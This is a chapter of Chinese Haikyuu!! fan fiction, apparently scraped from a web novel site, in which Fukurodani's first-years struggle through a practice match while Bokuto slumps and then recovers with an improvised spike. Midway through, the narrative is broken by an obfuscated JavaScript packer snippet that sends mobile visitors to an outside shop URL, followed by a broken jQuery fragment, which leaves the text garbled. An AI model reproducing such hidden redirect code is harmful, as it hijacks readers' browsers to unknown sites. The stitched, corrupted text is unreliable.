椎名泉岚在这天后意识到了大问题。

    在排球部生活了一段时间后,他逐渐发觉这种快乐排球和他之前定义的快乐排球有着些许出入。

    虽然训练的场景没再那么暴力,接球的方式也没有以前那么心酸,但麻烦程度却完全没有下降。

    这主要归功于他们队里有个神经刀。

    神经刀,顾名思义,神一会儿,鬼一会儿。

    木兔光太郎就是这样的。

    时隔两周的又一次队内训练赛,这次他们正式和其他两个年级合训,跟木兔光太郎分到了同一组的椎名泉岚真真切切地感受到了什么叫痛并快乐着。

    “木兔!振作一点啊!”

    “椎名君……你现在连‘前辈’都不喊了啊。”

    旁边的一年级队友小声吐槽着,椎名泉岚呲了呲牙,表情扭曲。

    “那种事情根本无所谓啦,话说,在球场上前辈就不要发呆了啊。”

    球网的另一边,清一色都是二年级和三年级的面孔,全员不是正选就是正选预备役,眼神一个赛一个的犀利。

    而椎名泉岚的这边,则大部分都是和他一样的一年级新晋嫩苗。

    ——除了刻意被教练放过去的木兔光太郎和跟着走的猿杙大和。

    本来嘛,有这个阵容,勉勉强强也能跟对面掰掰手腕。

    只是自打上场前,木兔光太郎就一副浑浑噩噩的样子,据前线记者木叶秋纪所言,这是因为对方被数学老师留堂了。

    哈?

    这件事有这么难过?

    猿杙大和的数学也是堪堪过线,他盯着木兔的那副德性看了半天,最终得出了一个更靠谱的推测:

    “与其说是因为留堂才这样的,不如说木兔那家伙在走进体育馆前摔了十个跟头,认为自己今天绝~对衰爆了来的可信呢。”

    是哦。

    “木兔前辈……”

    赤苇京治又回到发球位,他瞧着在后排抓耳挠腮的椎名泉岚,有些担忧地将目光落到那个扶着额头的背影身上。

    同样在后排的猿杙大和说了个冷笑话安慰了下急成急急国王的后辈,又对木兔光太郎喊了句“下一球还有机会”。

    木兔光太郎没注意到后辈们对他的态度,他放下摸额头的手后,就又全身心地投入到了自己的消极“迷宫”中。

    今天状态怎么这么差!

    打出来的球一点也不帅气!

    在迷宫里走到死胡同,木兔光太郎撇起了嘴,感觉这样一想就更难过了。

    椎名泉岚深吸了几口气,他的脑海里仿佛还在回播方才的击球和拦网。

    站在前排的木兔光是击球出界不说,拦网居然还被对面的木叶秋纪给借手了,以他一贯的反应力,这一看就不对劲啊。

    “到底怎么回事啊!”椎名泉岚嘟囔着,“难道场外的事件也能拧开木兔前辈的状态开关吗?”

    这么诡异吗?

    先前的练习中不是没出现过这样的情况,但木兔光太郎很快就自我调节了过来。

    而如今,开始的这么快,持续时间这么久的,这还是头一回呢。

    有着一上场就被调到了负状态的神经刀在,椎名泉岚的这场练习赛直接上了好几个难度。

    接球的力度依旧不大,但救球的频率直线上升。

    一分小球在对面的轰击和自己这边的接传中被无限拉长,就连对面本身不认识椎名泉岚的人都慢慢记住了他的名字。

    “这个一年级怎么这么难缠,他是自由人吗?”

    都要住在地板上了。

    木叶秋纪好心地解答了前辈的疑惑:“前辈你那天没来不知道啦,椎名他本来就是自由人哦。”

    这么大只的自由人吗?

    教练真是疯了。

    场面上的拉锯战看得人心惊,双方都觉得对面像块黏在脚底上的口香糖。

    不过终归是有经验的前辈们技高一筹,赤苇京治都快住在这个发球位上了。

    他们至今一分没得。

    椎名泉岚在后半场扑来扑去,木兔光太郎发挥不出实力的战局对他们来说非常不利,他发丝间渗透出来的汗早已打湿了额间的发带。

    好麻烦,好累。

    对面的木叶秋纪在轮转的空隙中和身边人笑嘻嘻地击了个掌,活动手腕间,场馆上空传来了几道嘈杂的声音。

    怎么回事?

    “是学校啦啦队的人吧。”

    猿杙大和微眯着眼望了一圈看台,自顾自地点头。

    “就是啦啦队哦,大概是来看大家赛前的状态的。”

    也有可能是来彩排的。

    猿杙大和猜的不错,看台上的拉拉队员们安排着各自的站位,看了一会儿后做了几个动作,然后分别喊出了球员们的名字。

    其中有两个女生同时喊的木兔光太郎,显得格外大声。

    “木兔!加油!”

    木兔光太郎萎靡的脸抬起来了一瞬又迅速低下。

    抱歉,我现在加不了油啦QAQ。

    “糟了。”

    “怎么了?”椎名泉岚看向旁边如临大敌的前辈。

    猿杙大和指了指木兔,幽幽道:“木兔当前的反应很不妙啊,放在平时,他应该会精神一点才对啊。”

    所以今天训练赛前木兔究竟做了什么啊!

    绝不可能只是被留堂!

    这已经成悬案了吗……赤苇京治呼气,又抛出一球。

    打过去了!

    对面的三年级们如同被上了油的齿轮,一环扣着一环,无比丝滑地将球传递到网前,朝着视野中的空位击打下去。

    砰!

    “一触。”

    在前排的一年级艰难地触及到了对面的扣球,还没落地便喊出了声。

    赤苇京治迅速上前一步,站在落点上,对着球轻轻一抬。

    “椎名。”

    “来了!”

    椎名泉岚的进攻已经小有所成。

    他后背上的衣服湿了又干,干了又湿,让他跳起来有些凉飕飕的。

    “嘿!”

    后排进攻。

    排球划过一道大大的弧线,成功落到对面的后半场。

    “这人力气也不小啊。”三年级俯下身接起了球。

    木叶秋纪朝着前排传了个球,不急不慢道:“前辈你那天没来不知道啦,暗路教练让他转副攻手了。”

    怎么感觉这话有半句听过。

    三年级揉了揉耳朵:“他是应该去打打副攻手,自由人的话,我们有小见在啊。”

    小见春树,多让人安心的一孩子。

    的确,在体质和耐操程度上,小见春树可能不如椎名泉岚,但在经验和技巧上,就是后者远不如前者了。

    更何况,他们更熟悉小见春树的球。

    椎名泉岚等人又将球救了回来,这次的球到了木兔光太郎手上,他安安稳稳地打出了个吊球。

    所有人大喘气。

    木兔光太郎见球被安然地送过网,情绪还没起来,就被对面一个接球给压了下去。

    他今天果然不行!

    “一年级们还不熟悉木兔的这个状态啊。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968066|214577||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    三年级的前辈们眼尖,一看就发现了一年级们对木兔的不熟悉。

    尽管六个人中有过半的人都知晓木兔光太郎的两级反转的状态,但只有猿杙大和稳住了。

    赤苇京治虽说清楚木兔光太郎状态的不佳,但在各种决策中还是会将大部分的球喂到木兔手里。

    而椎名泉岚更不用说,他也就表面稳住了,大概是没经历过这么一边倒的局面,每丢失一分就焦躁一分,情绪的变更快和木兔一样了。

    木叶秋纪看着对面又开始救球的动作,想也不地又张嘴回复:“是啊,新生们确实和木兔不太熟,不过前辈你那天没来不知道……”

    “能别提这个了吗?我知道我那天请假了没来训练很抱歉了。”

    “咳。”木叶秋纪咳嗽一声,见这颗排球终于在拦网的出手下落到了对面的地面,又道,“木兔那天结束训练后拉着一年级去加练了啦。”

    “所以椎名和赤苇对木兔还是很熟的。”

    “唉,是吗?”

    是的,但目前来说,他们对于木兔前辈的这个情况也束手无策。

    赤苇京治又发出一球,在椎名泉岚跪倒在地的救球中,他跳过了赤苇,一传直接抵达了猿杙大和的上空。

    一球射出,对面来不及补救。

    终于,得到一分。

    “真是不容易啊。”

    椎名泉岚赞同地点头。

    “没有木兔前辈,感觉压力好大。”

    喔,我这么重要啊!

    木兔光太郎竖起了耳朵,走到轮换的位置上朝着椎名泉岚举了举自己的拳头。

    “我猜他的意思是我不会让你失望的。”猿杙大和分析道。

    但椎名泉岚觉得不对,他有一套自己的答案:“我怎么觉得木兔前辈的意思是他的压力也很大呢。”

    “大的就像他握紧的拳头一样。”

    赤苇京治弯下了腰。

    “别聊了,球来了——”

    咚!

    话语落下,木兔光太郎在网前高高跳起。

    随着空中动作的停滞,他向上举起的拳头没有立即打开,而是朝着球体狠狠向网下击打。

    小幅度地摇动手臂,大幅度地转动手腕,排球受到外力,飞速地垂直下落。

    对面攻手的神情随着排球的坠落变化,从凶狠渐渐变得震惊。

    这是什么?

    超近距离的探头球吗?

    “好耶!”

    得分!

    木兔光太郎落地后笑容扩大,又将刚刚放下的手举了起来。

    这下大家都看懂了,原来那个动作的意思,是他会用这只手将球打回去啊。

    “木兔前辈好厉害!”椎名泉岚看到如此“创新”的球,忍不住惊叹。

    就连球网对面的三年级也夸了木兔一句:“这个球绝杀呢,根本拦不下来啊。”

    “太帅气了!”

    “木兔真有你的啊。”

    木兔光太郎的脊背在一声声夸赞中挺直。

    消极状态OFF,积极的王牌ON。

    看台上啦啦队的声音更大了,几乎都在喊着木兔的名字,猿杙大和放大了声音问道:“木兔,你下一球还能再打一个这个看看吗?这个球超赞的!”

    木兔光太郎放下了手,僵直地站了会儿后,抖了抖身子。

    他有些不好意思地看了自己的同伴一眼:“哈哈,我……有点忘记怎么打了。”

    他刚刚就是突然觉得这么做可以,就“唰”的一下打出了这样的一球啦。

    暂时不可复刻哦。